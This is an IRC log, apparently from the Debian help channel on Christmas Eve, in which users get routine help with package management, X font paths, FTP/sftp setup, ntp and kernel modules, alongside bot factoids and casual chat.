| 12:14.05 | Quibus | Anyway people, please do tell me if there there is an aptitude variant of apt-get build-dep? |
| 12:14.26 | simonrvn | does it mention it in the manual? |
| 12:14.35 | liable | Quibus: nope |
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| 12:15.05 | Quibus | liable: packages installed with apt-get are automatically marked as auto, if they were indeed auto? |
| 12:15.07 | JB[away] | Quibus: i think so too, updates must be stable and not more buggy :P |
| 12:15.26 | simonrvn | i don't see such an option |
| 12:15.55 | Quibus | the point is |
| 12:16.11 | Quibus | I need to install the build-deps of a package. But after I'm done I want them removed |
| 12:16.15 | liable | Quibus: if aptitude wants to remove shit, then, yes, purge and reinstall it. but dont mix and match between apt-get and aptitude |
| 12:16.38 | simonrvn | man page mentions nothing like it |
| 12:16.39 | Quibus | liable: ?? |
| 12:17.18 | Quibus | liable: purge and reinstall?? Why that? E.g. in this case I have to fall back to apt-get |
| 12:17.29 | liable | oh, nevermind. you confuse me with what you said earlier.. |
| 12:18.00 | Quibus | oh, ok |
| 12:18.03 | Quibus | sorry |
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| 12:18.34 | cusco | Quibus: take note of the packages :P |
| 12:18.39 | elshaa | I see lines at boot that I can't find in dmesg or log/messages. Where else can it be ? (or is it possible it's not logged?) |
| 12:18.50 | blondie | elshaa: lines like what? |
| 12:19.09 | liable | elshaa: yes, man bootlogd |
| 12:19.13 | cusco | elshaa: probably not logged |
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| 12:19.27 | elshaa | blondie: like "not loading xxxx unavailable module" |
| 12:19.32 | Mazingaro | happy Christmas to all |
| 12:19.35 | cusco | elshaa: edit /etc/default/bootlogd |
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| 12:19.40 | elshaa | just after I installed a custom compiled kernel |
| 12:19.46 | elshaa | cusco: ok, I check |
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| 12:20.17 | liable | install a splashscreen so you dont see those messages :P |
| 12:20.41 | cusco | hehe |
| 12:20.58 | elshaa | cusco: thanks. value was No. |
| 12:21.09 | elshaa | liable: hehe :) |
| 12:21.10 | cusco | reboot and check /var/log/boot |
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| 12:21.15 | elshaa | yo |
| 12:21.25 | cusco | probably some moduldes in /etc/modules |
| 12:21.31 | cusco | that you have not built for that kernel |
| 12:22.04 | elshaa | cusco: why should I build modules if I don't need them ? |
| 12:22.22 | elshaa | humm |
| 12:22.23 | cusco | yes, why indeed... |
| 12:22.36 | elshaa | so I just have to modify /etc/modules |
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| 12:26.12 | Quibus | OK, see you later people |
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| 12:28.41 | war95 | Is there a repo for flashplayer9 beta? |
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| 12:30.18 | murosai | erm why is my gcc compiler i486 by default? can i somehow set it up as i386 |
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| 12:31.52 | murosai | im trying to set up distcc and the client is running gcc i386.. |
| 12:32.36 | blondie | I'm eating glue |
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| 12:33.54 | dezent | blondie: \o/ hooray |
| 12:35.07 | simonrvn | !info flashplayer-nonfree |
| 12:35.30 | simonrvn | meh, can't remember the name |
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| 12:36.40 | MoDaX | !info flashplugin-nonfree |
| 12:36.41 | dpkg | flashplugin-nonfree: (Adobe Flash Player plugin installer), section contrib/web, is optional. Version: 9.0.21.78.4 (sid), Packaged size: 12 kB, Installed size: 136 kB |
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| 12:37.20 | norc | asterix ~ # xset fp rehash |
| 12:37.20 | norc | xset: unable to open display "" |
| 12:37.23 | norc | o_O |
| 12:37.27 | norc | any ideas? |
| 12:37.36 | JB[away] | use anyone clamav on etch? |
| 12:37.51 | simonrvn | norc: startx |
| 12:38.06 | norc | simonrvn: I am IN X |
| 12:38.12 | norc | :s |
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| 12:38.34 | simonrvn | open fresh xterm, try again |
| 12:38.41 | simonrvn | or specify the display |
| 12:38.56 | norc | [07:38:33] < simonrvn> open fresh xterm, try again |
| 12:38.57 | norc | that worked |
| 12:38.58 | norc | thanks :) |
| 12:39.02 | simonrvn | cool |
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| 12:40.19 | Mooi | how do I fix all the dependencies? |
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| 12:40.48 | liable | norc: not as root |
| 12:41.03 | murosai | how can i change my gcc system type architecture? |
| 12:41.08 | liable | !lose me |
| 12:41.08 | dpkg | liable: You Lose. |
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| 12:41.44 | JB[away] | <PROTECTED> |
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| 12:41.48 | JB[away] | mhhh bug? |
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| 12:43.36 | simonrvn | try the update again |
| 12:43.48 | obstfliege | moin moin |
| 12:43.51 | streuner_ | !win liable |
| 12:43.51 | dpkg | Congratulations, liable! You have won second prize in a beauty contest! |
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| 12:44.06 | streuner_ | hm |
| 12:44.07 | JB[away] | u mean reinstall? @ simonrvn |
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| 12:45.28 | Mooi | "Starting web server: lighttpd failed!" |
| 12:45.34 | Mooi | where can i see the log? |
| 12:45.48 | Mooi | found it ;P |
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| 12:46.31 | pierrot | Hello |
| 12:47.01 | pierrot | hello |
| 12:47.39 | liable | ello |
| 12:48.16 | pierrot | I am french |
| 12:48.45 | liable | ello ello |
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| 12:49.22 | pierrot | Have you a download game site for linux ? |
| 12:49.37 | pierrot | And for window ? |
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| 12:49.53 | pumpkin0 | !fr |
| 12:49.53 | dpkg | Pour l'aide en francais, veuillez aller aux canaux #debian-fr sur irc.debian.org ou irc.freenode.net. |
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| 12:50.48 | murosai | is it ok to download the x86 minimal install cd and change CHOST from i386 to i686? |
| 12:51.06 | JB[away] | !de |
| 12:51.06 | dpkg | [de] deutschsprachige Hilfe bekommt ihr in #debian.de (auf irc.oftc.net und irc.freenode.net) - German speaking users please go to #debian.de (on irc.oftc.net and freenode) |
| 12:51.18 | abrotman | murosai: to build? |
| 12:51.43 | abrotman | murosai: i think you want Gentoo |
| 12:52.05 | murosai | hm? |
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| 12:52.24 | abrotman | why do you want to change to i686 ? |
| 12:52.50 | norc | currenylt there is no syntax highlighting in vim by default |
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| 12:53.01 | norc | or are there any syntax highlighting configurations installed? |
| 12:53.08 | cahoot | abrotman, he has |
| 12:53.09 | murosai | isn't it more optimized for i686 arch? |
| 12:53.31 | abrotman | murosai: so you want to compile all your packages ? |
| 12:53.38 | murosai | yes |
| 12:53.46 | CharminTheMoose | http://home.wanadoo.nl/sussudio/debian.html how the hell is this stuff collected? |
| 12:53.55 | murosai | WTF |
| 12:53.59 | murosai | wrong channel |
| 12:54.01 | murosai | ... |
| 12:54.07 | abrotman | murosai: did you want #gentoo ? |
| 12:54.10 | streuner_ | !info libc6-i686 |
| 12:54.10 | pumpkin0 | murosai: go gentoo ... |
| 12:54.13 | murosai | yes |
| 12:54.17 | dpkg | libc6-i686: (GNU C Library: Shared libraries [i686 optimized]), section libs, is extra. Version: 2.3.6.ds1-9 (sid), Packaged size: 1090 kB, Installed size: 2476 kB |
| 12:54.22 | abrotman | CharminTheMoose: Piggy |
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| 12:54.40 | Str0m | hi |
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| 12:54.57 | Str0m | how do i chain a user to a specific folder.. |
| 12:55.11 | abrotman | chain ? |
| 12:55.13 | Str0m | ive set their start folder |
| 12:55.19 | streuner_ | mruosai: just install libc6-i686, if the system can't use them, it just use libc6 |
| 12:55.24 | abrotman | and what application .. ftp? ssh ? what ? |
| 12:55.31 | abrotman | streuner_: he's using gentoo |
| 12:55.35 | streuner_ | haha |
| 12:55.40 | Str0m | and i dont want them to be able to go higher, its ftp abrotman |
| 12:55.51 | abrotman | Str0m: depends on the ftpd |
| 12:56.25 | abrotman | with proftpd in /etc/passwd you set their home dir to :<normaldir> ./: |
| 12:56.34 | liable | CharminTheMoose: he has a bot that logs and does it (as abortman said, piggy) |
| 12:56.43 | streuner_ | so wth nobody using gentoosmite? :-) |
| 12:56.58 | abrotman | streuner_: murosai was lost .. he thought he was in #gentoo |
| 12:57.05 | Str0m | hmm.. how can i find out which one is installed |
| 12:57.17 | CharminTheMoose | heh,it's pretty humourous |
| 12:57.32 | streuner_ | abrotman: those people *need* that prolly too ;-) |
| 12:57.39 | abrotman | CharminTheMoose: the logs are funny ? |
| 12:58.10 | liable | the bans are funny (on that *other* site) |
| 12:58.39 | Str0m | i think its pureftpd abrotman |
| 12:58.59 | abrotman | then you'd google 'pureftpd chroot jail' |
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| 13:00.23 | abrotman | Str0m: or ask that channel |
| 13:01.05 | abrotman | sussudio: i just saw your 404 ... nice :) |
| 13:01.22 | liable | badgers! |
| 13:02.18 | abrotman | !badgersmite liable |
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| 13:03.36 | adam0509 | hello, how to get a list of modules that I can load with "modprobe" plz ? :) |
| 13:03.48 | lorelei | <- ^_^ |
| 13:03.49 | liable | modprobe -l |
| 13:04.50 | abrotman | lorelei: what was that ? |
| 13:05.01 | lorelei | nothing... |
| 13:05.02 | liable | heh |
| 13:05.22 | liable | <-^_^-<< |
| 13:05.34 | liable | arrow through the head |
| 13:05.37 | cahoot | wilhelm tell? |
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| 13:05.55 | abrotman | william ? |
| 13:05.59 | liable | cahoot: blind one :) |
| 13:06.06 | cahoot | on a bad day |
| 13:06.17 | liable | abrotman: i think he might actually have the correct spelling |
| 13:06.22 | lorelei | sorry, I am busy to watch tv |
| 13:06.28 | liable | abrotman: not that you yankies would now! |
| 13:06.42 | cahoot | abrotman, not too anglocentric are we? |
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| 13:07.35 | norc | ok. maybe somebody can help me with this problem. I just installed debian etch, and firefox, I configured Firefox to allow the pages to chose the fonts, but everything looks weird, fat almost unreadable |
| 13:08.06 | abrotman | cahoot: wasn't he english ? |
| 13:08.24 | cahoot | abrotman, only in a distant way |
| 13:08.29 | abrotman | he was swiss! |
| 13:08.35 | Mooi | How do I get a user's UID? |
| 13:08.37 | abrotman | so the rumor goes anyways :) |
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| 13:08.42 | pumpkin0 | norc: check the xorg-log. A lot of (WW) about fonts ? |
| 13:08.45 | dorel__ | Mooi: id |
| 13:09.09 | norc | pumpkin0: oh .. yeah... |
| 13:09.12 | cahoot | abrotman, william snitch was the english version |
| 13:09.13 | norc | (WW) The directory "/usr/X11R6/lib/X11/fonts/100dpi/" does not exist. |
| 13:09.14 | norc | like those |
| 13:09.15 | norc | mhm |
| 13:09.32 | norc | (WW) The directory "/var/lib/defoma/x-ttcidfont-conf.d/dirs/TrueType" does not exist. |
| 13:09.51 | pumpkin0 | norc: the fonts have moved. find the new path (/usr/share/fonts/X11/...) and correct them. |
| 13:09.54 | abrotman | cahoot: no .. i thought he was english |
| 13:10.09 | norc | pumpkin0: ah, in my xorg.conf I guess? |
| 13:10.14 | liable | hrm, a new etch shouldnt look in /usr/X11R6 should it? |
| 13:10.17 | pumpkin0 | norc: correct. |
| 13:10.19 | Mooi | what's the name of the package that installs packages required for compilation, etc? |
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| 13:10.44 | liable | Mooi: build-essential |
| 13:10.47 | Mooi | thanks |
| 13:10.48 | pvt_harv | Mooi: you might want to try build-essential |
| 13:10.49 | abrotman | mine doesn't .. and it's not old |
| 13:10.51 | norc | pumpkin0: FontPath "/usr/share/fonts/X11/misc" |
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| 13:10.56 | norc | so basically it should work, eh? |
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| 13:11.03 | abrotman | erm . .it is old |
| 13:11.14 | norc | Im uncommenting the useless lines atm, but still, that shuoldnt cause the problem imo |
| 13:11.21 | pumpkin0 | liable: the fonts-thing is a bit complexer. It depends on the version you install and when you run apt-get update/upgrade. |
| 13:11.23 | liable | norc: how old was that installer? |
| 13:11.41 | norc | liable: what installer? |
| 13:11.52 | liable | pumpkin0: yep, seeing as he said new etch, i figure recent installer |
| 13:12.16 | liable | norc: the installer cd |
| 13:12.17 | pumpkin0 | norc: you need one line per font-package. If you don't have all the basic fonts ff and the rest will look strange. |
| 13:12.40 | norc | liable: I downloaded the most recent one yesterday |
| 13:12.46 | norc | pumpkin0: so what do you want me to do? |
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| 13:13.36 | pumpkin0 | norc: that is the minimal set: http://pastebin.com/844173 |
| 13:13.37 | pvt_harv | guys, how many months/years will debian support sarge? |
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| 13:14.02 | streuner_ | 1 year after etch is out |
| 13:14.15 | pvt_harv | coz i planned to install arge on my new server, but im afraid its gona be obsolete next year and updates no longer available |
| 13:14.22 | pumpkin0 | pvt_harv: looking at the still available buzz-install: for a long time. |
| 13:14.36 | sussudio | abrotman: try the 403. |
| 13:14.39 | streuner_ | pvt_harv: 1 year |
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| 13:15.01 | pvt_harv | streuner_: so is it better to wait and install etch once it gets released? |
| 13:15.11 | norc | pumpkin0: Mhmm.. this seems to be installed so far |
| 13:15.14 | abrotman | sussudio: YAY!!! |
| 13:15.28 | pumpkin0 | pvt_harv: install etch now and run apt-get update/upgrade after release. |
| 13:15.32 | abrotman | sussudio: that's great |
| 13:15.35 | streuner_ | pvt_harv: for servers we would recommend sarge/stable |
| 13:15.41 | pumpkin0 | norc: restart the X server and try again. |
| 13:15.45 | pvt_harv | okies... |
| 13:15.49 | norc | pumpkin0: ok |
| 13:15.50 | norc | brb |
| 13:16.05 | abrotman | pvt_harv: you can dist-upgrade to etch when it is released .. |
| 13:16.10 | abrotman | !sarge->etch |
| 13:16.10 | dpkg | Edit your sources.list ('editor /etc/apt/sources.list'), change all non-local mentions of 'sarge' or 'stable' to 'etch'. Save the file, then 'apt-get update && apt-get dist-upgrade'. Then consider subscribing do debian-devel-announce (ask me about <d-d-a>) to be aware of what developments are happening. ask me about <testing security> |
| 13:16.13 | pvt_harv | thanks, got srage already, just afraid ffor updates... |
| 13:16.24 | pvt_harv | so dist-upgrades works too |
| 13:16.25 | pvt_harv | nice |
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| 13:16.40 | norc | pumpkin0: ok, no effect |
| 13:16.52 | norc | but I have the feeling, that Im missing some configuration in firefox |
| 13:17.00 | norc | it appears that only a few sites look "ugly" |
| 13:17.14 | norc | maybe I should force firefox to pick certain fonts |
| 13:17.27 | pumpkin0 | norc: grep the xorg-log for (WW). If there are no more (WW) goto #firefox and try there. Or install the windows-fonts-package. |
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| 13:18.02 | norc | ok |
| 13:18.38 | norc | (WW) NVIDIA(0): No size information available in CRT-1's EDID; cannot compute |
| 13:18.38 | norc | (WW) NVIDIA(0): DPI from EDID. |
| 13:18.39 | norc | mhm |
| 13:18.58 | norc | I have a TFT, no CRT |
| 13:19.09 | pumpkin0 | norc: that is not a fontproblem. That is a badly implemented EDID. |
| 13:19.13 | abrotman | those are WW .. ignore them |
| 13:19.15 | norc | ok |
| 13:19.21 | abrotman | you're looking for EE lines |
| 13:19.32 | norc | abrotman: No error lines |
| 13:19.42 | abrotman | but X fails ? |
| 13:19.45 | pumpkin0 | abrotman: (EE) for ugly fonts ? |
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| 13:19.57 | norc | well, only for certain pages |
| 13:20.01 | norc | I think its really a firefox issue |
| 13:20.09 | norc | google looks perfectly normal |
| 13:20.10 | norc | mhm |
| 13:20.22 | abrotman | try another non-gecko browser |
| 13:20.48 | norc | abrotman: dillo? |
| 13:20.59 | blondie | maybe you could install the MS true type fonts? |
| 13:21.27 | abrotman | norc: there are quite a few .. |
| 13:21.55 | norc | abrotman: it looks good with dillo |
| 13:22.00 | norc | so I should go to #firefox? :) |
| 13:22.06 | pumpkin0 | norc: yes |
| 13:22.15 | norc | pumpkin0: ok |
| 13:22.18 | norc | thanks for all your help :) |
| 13:22.24 | abrotman | norc: or check the BTS |
| 13:22.47 | abrotman | i guarantee there are other bugs with font problems in FF |
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| 13:26.09 | norc | abrotman: BTS? |
| 13:27.20 | blondie | font problems aplenty in linux |
| 13:27.29 | pumpkin0 | !tell norc about bts |
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| 13:28.36 | blondie | s/linux/X/ |
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| 13:30.08 | norc | bug tracker, ok, thanks pumpkin0 ;) |
| 13:31.39 | Str0m | damn i dont remember the line for searching a file... |
| 13:32.22 | pumpkin0 | Str0m: search for text inside files or searching a file by filename ? |
| 13:32.33 | Str0m | searching a file by filename |
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| 13:32.50 | pumpkin0 | Str0m: find -iname "*filename*" |
| 13:33.11 | pumpkin0 | Str0m: or "locate filename" if have installed it. |
| 13:33.41 | Str0m | ive installed it but it doesnt output anything and neither does find |
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| 13:34.31 | Str0m | is that becouse the file doesnt excist or becouse im doing something wrong? |
| 13:34.48 | Miesco | Is it possible to use apt-get to install something in /usr/local instead of /usr? |
| 13:34.54 | pumpkin0 | Str0m: goto /etc and search for "*.conf" |
| 13:35.21 | Mooi | how do i completely remove a package and its config files? |
| 13:35.25 | iLLf8d | Miesco, just symlink it so it doesn't break its dependencies |
| 13:35.39 | pumpkin0 | Mooi: apt-get remove --purge package |
| 13:35.40 | Miesco | Okay |
| 13:35.43 | Str0m | root@danielss89:/# find -iname "*pure-ftpd.conf*" |
| 13:35.43 | Str0m | find: ./proc/1/task: Permission denied |
| 13:35.43 | Str0m | find: ./proc/1/fd: Permission denied |
| 13:35.57 | Mooi | thanks |
| 13:35.58 | iLLf8d | Miesco, actually I mean doesn't break things dependent on it |
| 13:36.16 | nkuttler | Str0m: what are you searching? |
| 13:36.23 | pumpkin0 | Str0m: try "*ftpd*" |
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| 13:36.56 | nkuttler | Str0m: erm, try in /etc... |
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| 13:39.28 | Str0m | well i guess its not pureftpd i use then:D |
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| 13:39.59 | Mooi | exit |
| 13:40.21 | pumpkin0 | Str0m: as root: "netstat -tnlp". Any ftp-servers up ? |
| 13:41.21 | putridp | I need to merge several contiguous logical partitions, which currently mount as '/', '/var', '/usr' and '/tmp'. Can I simply destroy hda7,hda8 and hda9, extend hda6 to fill the available space, then copy the backed up files back? Would there be problems trying to copy /dev? |
| 13:41.25 | Str0m | pumpkin0 http://pastebin.dk/index.php?show=2605 |
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| 13:42.28 | iLLf8d | and to all a good night |
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| 13:42.46 | pumpkin0 | Str0m: there is no ftp server running on your box. |
| 13:43.00 | Str0m | w00t, i can connect with filezilla :D |
| 13:43.10 | Str0m | im connected with filezilla right now.. but its sftp |
| 13:43.23 | Str0m | sftp using ssh2 |
| 13:43.43 | pumpkin0 | Str0m: yes, a sshd-server is running. That should be able to do sftp. |
| 13:43.52 | Str0m | oh ok :D |
| 13:43.57 | pumpkin0 | Str0m: sftp and ftp are 2 different things. |
| 13:44.40 | Str0m | i will install pure-ftpd then :D |
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| 13:47.14 | ofer1 | Which program can be used to draw graphs from the command-line? |
| 13:47.27 | pumpkin0 | ofer1: gplot ? |
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| 13:51.15 | nkuttler | ofer1: gri is nice |
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| 13:53.55 | norc | wow.. debian is so much nicer than gentoo |
| 13:53.57 | norc | =) |
| 13:54.08 | norc | everything works at least |
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| 13:56.56 | abrotman | norc: mostly works anyways .. but if you find something that doesn't .. file a bug! |
| 13:57.27 | norc | hehe yeah, at least everythings fast |
| 13:57.36 | norc | gentoo is for unemployeed ppl.. |
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| 13:58.05 | abrotman | bonus points if you know what time McD's stops serving egg mcmuffins on a sunday! |
| 13:58.17 | asg | abrotman: 11pm |
| 13:58.18 | abrotman | pm ? |
| 13:58.22 | asg | am |
| 13:58.24 | abrotman | !asg++ |
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| 13:58.51 | norc | ok.. last question.. what package do I use for sync'ing my clock with a timeserver? |
| 13:58.56 | norc | ntp? |
| 13:59.05 | asg | !ntp |
| 13:59.05 | dpkg | [ntp] the Network Time Protocol. Try "apt-get install ntpdate ntp" for basic usage. Use "pool.ntp.org" as your NTP server if you don't have one of your own already. (Make sure your time zone is right, with tzconfig, first.) See http://www.ntp.org/ or http://www.openntpd.org/ for more information. |
| 13:59.10 | norc | ok :) |
| 13:59.17 | norc | thanks |
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| 13:59.25 | abrotman | !tell norc about search |
| 13:59.28 | abrotman | !tell norc about refcard |
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| 14:00.57 | ofer1 | thanks nkuttler, pumpkin0 ; |
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| 14:05.16 | retard | waiting for something sux...i hope etch releases today... |
| 14:05.27 | dvs | ha! |
| 14:05.37 | abrotman | retard: go fix bugs .. bugs.debian.org/release-critical |
| 14:05.57 | retard | if i fix all those bugs...they it will be released ? |
| 14:06.03 | dvs | retard: yes |
| 14:06.13 | abrotman | and you'll probably get a medal |
| 14:06.15 | retard | long night... |
| 14:06.21 | retard | it will be |
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| 14:06.45 | fasta | Can anyone recommend a good java decompiler? |
| 14:06.55 | retard | gcj |
| 14:07.23 | Str0m | hmm pumpkin0 weird it cant install: http://pastebin.dk/index.php?show=2606 |
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| 14:08.15 | abrotman | fasta: probably ask #java |
| 14:08.49 | fasta | abrotman: isn't gcj a decompiler too then? |
| 14:08.59 | abrotman | nfc ... i don't do much java anymore |
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| 14:09.22 | fasta | abrotman: me neither, I am just curious how some author of some book implemented something. |
| 14:09.32 | abrotman | oh |
| 14:09.36 | fasta | abrotman: they only distribute to "instructors" |
| 14:09.44 | pumpkin0 | Str0m: no idea. Ask the channel. |
| 14:10.09 | Str0m | which fptd program do you guys recommend? |
| 14:10.28 | blondie | !ftp |
| 14:10.28 | dpkg | hmm... ftp is (File Transfer Protocol) This is a method of moving files from system to system using TCP/IP. There are three sane kinds of ftp: anonymous, encrypted and unprivileged (non-unix users). Unencrypted ftp using unix users will get your box pwn3d as fast as runnin windows on your firewall machine. |
| 14:10.35 | blondie | i.e. none ;) |
| 14:10.40 | abrotman | !ftpmustdie |
| 14:10.40 | dpkg | FTP MUST DIE! http://wooledge.org/mywiki/FtpMustDie |
| 14:11.34 | Str0m | well, i need something for my users to transfer file to their home dirs:D |
| 14:11.50 | abrotman | filezilla and scp! |
| 14:12.18 | blondie | indeed, use scp or sftp. |
| 14:12.26 | blondie | using ftp will get your boxed pwned |
| 14:12.47 | Str0m | !dpkg scp |
| 14:12.55 | Str0m | !scp |
| 14:12.55 | dpkg | rumour has it, scp is Secure Copy, part of the ssh suite, and a very handy program. ssh + cpio. EXAMPLE: scp *.mp3 me@myotherbox:/var/tmp |
| 14:13.27 | abrotman | Str0m: but if you get them filezilla.. they won't really know about it .. just tell them which protocol to pick .. it's a pretty normal looking ftp client |
| 14:13.48 | Str0m | i use sftp right now, but i dont know how to edit users, or set qoutas or jail them |
| 14:14.01 | Str0m | yes abrotman i use that too :) |
| 14:14.12 | fasta | retard: what option of gcj allows me to _decompile_? |
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| 14:15.55 | Str0m | is there a webgui so that i can edit my sftp users? |
| 14:16.03 | abrotman | no |
| 14:16.14 | abrotman | even if i knew of one .. i'd still tell you no :) |
| 14:16.23 | Str0m | lol:D |
| 14:16.39 | Str0m | okey, so how do i jail them, or set their qouta? |
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| 14:20.52 | blondie | Str0m: it's normal users... sftp has nothing to do with that stuff |
| 14:21.14 | norc | I have installed openssl. But configuring rtorrent complains that it cannot find openssl, I checked pkg-config and it isnt listed there. How can I add openssl to pkg-config? |
| 14:21.16 | Str0m | okey, so i cant set qouta or jail them to a specific folder |
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| 14:23.27 | galois- | Str0m: you can, in that they are just normal users |
| 14:23.57 | galois- | you could create a usergroup for users to allow and then jail that usergroup (I expect) |
| 14:24.22 | abrotman | norc: why are you compiling it ? |
| 14:24.34 | norc | abrotman: because the unstable version aint available |
| 14:24.38 | norc | but I have my problem solved |
| 14:24.41 | norc | libssl-dev :) |
| 14:24.44 | abrotman | !info rtorrent sid |
| 14:24.51 | dpkg | rtorrent: (ncurses BitTorrent client based on LibTorrent), section net, is extra. Version: 0.6.4-1 (sid), Packaged size: 320 kB, Installed size: 864 kB |
| 14:24.54 | Str0m | galois- hehhe i dont know how to do it, i cant find anything on google about it.. |
| 14:24.55 | abrotman | what's wrong with that one ? |
| 14:25.01 | abrotman | !info rtorrent sarge |
| 14:25.06 | norc | abrotman: I want 0.7.0 |
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| 14:25.09 | abrotman | oh jeez |
| 14:25.14 | abrotman | !mg |
| 14:25.14 | dpkg | A simple packaging walkthrough can be found by (as root) "apt-get install maint-guide" and then (as user) lynx /usr/share/doc/maint-guide/maint-guide.en.html/index.html" (or maint-guide.en.html in sarge/sid). 'Mg' is also the chemical symbol for magnesium, or the shorthand for Madagascar, or the maintainers guide can be found at http://www.debian.org/doc/maint-guide/ |
| 14:25.38 | abrotman | norc: look at either making packages .. or using stow/checkinstall or check apt-get.org or backports.org |
| 14:25.45 | abrotman | !tell norc about backports |
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| 14:26.03 | daviey | Can anybody recommend a Video Chat / conference that will support 3 way video/audio calling that has a windows client. Ideally good quality and fullscreen? |
| 14:26.12 | norc | abrotman: I know backports |
| 14:26.18 | norc | And im making it myself |
| 14:26.20 | galois- | is there a tool to strip out little used packages? |
| 14:26.31 | norc | and lets suppose I want to use svn :) |
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| 14:27.04 | galois- | Str0m: you should google user group permissions |
| 14:27.11 | Displacer | what package provides manual pages for gcc? |
| 14:27.25 | Displacer | who knows |
| 14:27.40 | norc | gcc-doc-base |
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| 14:27.43 | galois- | Str0m: you will be able to control access to sftp via usergroup, etc |
| 14:27.46 | norc | gcc-doc |
| 14:27.48 | norc | *shrug* |
| 14:28.06 | galois- | Str0m: once connected by sftp they will be limited by what they could do connected over ssl |
| 14:28.42 | galois- | Str0m: sort of thing it will be *very* useful to work out/know if you plan on allowing people to access machine remotely |
| 14:28.44 | Str0m | okey.. |
| 14:29.08 | Displacer | norc, are you sure about gcc-doc? |
| 14:29.08 | Str0m | :D |
| 14:29.14 | galois- | Str0m: much better for you to work out than for us to try and explain - more chance that you will close down all loopholes/limit correctly |
| 14:29.15 | Str0m | thx, i will read it |
| 14:29.30 | norc | Displacer: yes |
| 14:29.34 | galois- | Str0m: np, not just sending off to google due to laziness! |
| 14:29.41 | Str0m | gotta go know.. its christmas here in denmark ;) |
| 14:29.43 | Displacer | ive installed gcc-doc, but there is no manual pages |
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| 14:29.47 | Displacer | etch rc1 |
| 14:29.54 | galois- | Str0m: have a good one |
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| 14:30.08 | albert | una pregunta |
| 14:30.10 | Str0m | thx... and you 2, when ts yours turn;) |
| 14:30.30 | albert | Por que cuando pongo el pendrive y luego le doy a extraer con seguridad, no se apaga la luz del pendrive? |
| 14:30.30 | galois- | roll on tomorrow! |
| 14:30.45 | galois- | !spanish |
| 14:30.45 | dpkg | Hispanohablantes: Por favor usen #debian-es, alli obtendran mas ayuda. Spanish Speakers: Please use #debian-es, there you will get much more help. |
| 14:30.51 | Displacer | i need simple thing: man gcc |
| 14:30.51 | albert | ah ok |
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| 14:34.19 | galois- | norc: once done, why not place it on backports? |
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| 14:34.43 | norc | galois-: oh.. shall I do that? |
| 14:35.32 | galois- | norc: just a thought - saves people time and feeds karma |
| 14:35.42 | galois- | norc: no idea what is involved though :) |
| 14:35.51 | norc | mhm ok, ill take a look into it |
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| 14:36.30 | norc | galois-: Backport packages only from testing, not unstable (except for security updates of already accepted backports). |
| 14:36.33 | norc | no way |
| 14:36.35 | norc | its not even in unstable |
| 14:36.47 | norc | Use ‘sarge-backports’ as distribution, neither ‘stable’ nor ‘unstable’. |
| 14:36.50 | norc | blah |
| 14:37.54 | galois- | norc: nm - nice idea while it lasted :) |
| 14:38.08 | norc | hehe, yeah |
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| 14:46.42 | abrotman | !moo |
| 14:46.42 | dpkg | mooooooo! I am cow, hear me moo, I weigh twice as much as you. I'm a cow, eating grass, methane gas comes out my ass. I'm a cow, you could be too; join us all! type apt-get moo. |
| 14:47.38 | galois- | roll your own kernel or get the pre-compiled? |
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| 14:48.04 | fnord5 | mu is the chinese ideogram for nothing |
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| 14:48.49 | fnord5 | how well does debian preform on low end machines? 250mb/1.5 ghz |
| 14:48.51 | fnord5 | ? |
| 14:49.03 | abrotman | should be fine |
| 14:49.25 | hans0lo | I'm running Debian Etch, and I went to install mplayer -- but I cannot seem to find it in the apt repo.. Is it under another name?? |
| 14:49.35 | abrotman | !mplayer |
| 14:49.36 | dpkg | i guess mplayer is only in Debian unstable. You may want to use a player based on xine-lib or vlc instead. Unofficial packages are available on <debian-multimedia>. The Debian and mplayer FAQ is at http://people.debian.org/~mjr/mplayer.html |
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| 14:49.54 | hans0lo | ty |
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| 14:51.12 | fnord5 | debian uses apt-get/aptitude right? |
| 14:51.31 | elvenpath | or dselect, or synapti |
| 14:51.35 | putridp | I need to merge several contiguous logical partitions, which currently mount as '/', '/var', '/usr' and '/tmp'. Can I simply destroy hda7,hda8 and hda9, extend hda6 to fill the available space, then copy the backed up files back? Would there be problems trying to copy /dev, for example? |
| 14:51.37 | elvenpath | synaptic even |
| 14:51.58 | abrotman | !unionf |
| 14:51.59 | abrotman | !unionfs |
| 14:52.05 | abrotman | oh bah .. find it on google |
| 14:52.21 | elvenpath | !onionfs |
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| 14:54.03 | galois- | abrotman: any views on whether to roll your own kernel? |
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| 14:54.17 | galois- | personally I can't see much value to my doing it |
| 14:54.26 | norc | whats the default font for the xterm? |
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| 14:54.38 | abrotman | galois-: i vote against it |
| 14:54.46 | abrotman | galois-: unless you have a good reason |
| 14:55.08 | galois- | abrotman: thanks |
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| 14:55.46 | galois- | any app for stripping out little used packages (i.e. ones I never ever run)? |
| 14:56.06 | asg | galois-: debfoster, deborphan |
| 14:56.09 | galois- | other than aptitude and holding down - |
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| 14:56.23 | galois- | asg: thanks, will look at those |
| 15:01.17 | fnord5 | how big is the install cd for debian,and how is it for built in eye candy? |
| 15:01.55 | abrotman | depends which CD you download |
| 15:01.55 | galois- | fnord5: how dig do you want it to be? you can get minimal and fuller versions |
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| 15:02.18 | fnord5 | i have on blank cd left |
| 15:02.18 | craigevil | the netinstall cd is only around 100mb |
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| 15:03.04 | norc | -Misc-Fixed-Medium-R-SemiCondensed--13-120-75-75-C-60-ISO8859-1 How can I find out what exact file that font is? |
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| 15:04.42 | pumpkin0 | fnord5: debian and eyecandy is like lorries and eyecandy. It does not match ... |
| 15:05.03 | fnord5 | how hard would it be to link a debian box to a mac so i can share the wifi on the deb? |
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| 15:05.06 | craigevil | beryl is nice eye candy if you have a newer video card |
| 15:05.36 | fnord5 | ive had problems with getting berly to work,i can even get glx |
| 15:05.43 | fnord5 | i have a new one |
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| 15:06.06 | fnord5 | and it supports 3d rendering and all that stuff |
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| 15:06.39 | Vme- | hello |
| 15:06.46 | Vme- | merry xmas eve :) |
| 15:06.57 | elvenpath | same to you, Vme- |
| 15:07.11 | pumpkin0 | fnord5: go ubunut. that is for eyecandy. debian and eyecandy does not mix easily. |
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| 15:07.23 | craigevil | If your running Sid there is a nice Beryl repo that works quite well> http://www.linuxquestions.org/questions/showthread.php?t=513029 |
| 15:07.29 | Vme- | i'm trying to recompile my kernel today on this holy day and I can't seem to figure out how to compile this video driver: nVidia Corporation NV6 [Vanta/Vanta LT]?? |
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| 15:07.46 | elvenpath | Vme-: use the module-assistant |
| 15:07.47 | fnord5 | im comeing over to the dark side from kubuntu |
| 15:07.48 | Vme- | i don't see it anywhere when i do a "make menuconfig" in my options? |
| 15:07.56 | galois- | pumpkin0: does ubuntu have a similar system to apt? |
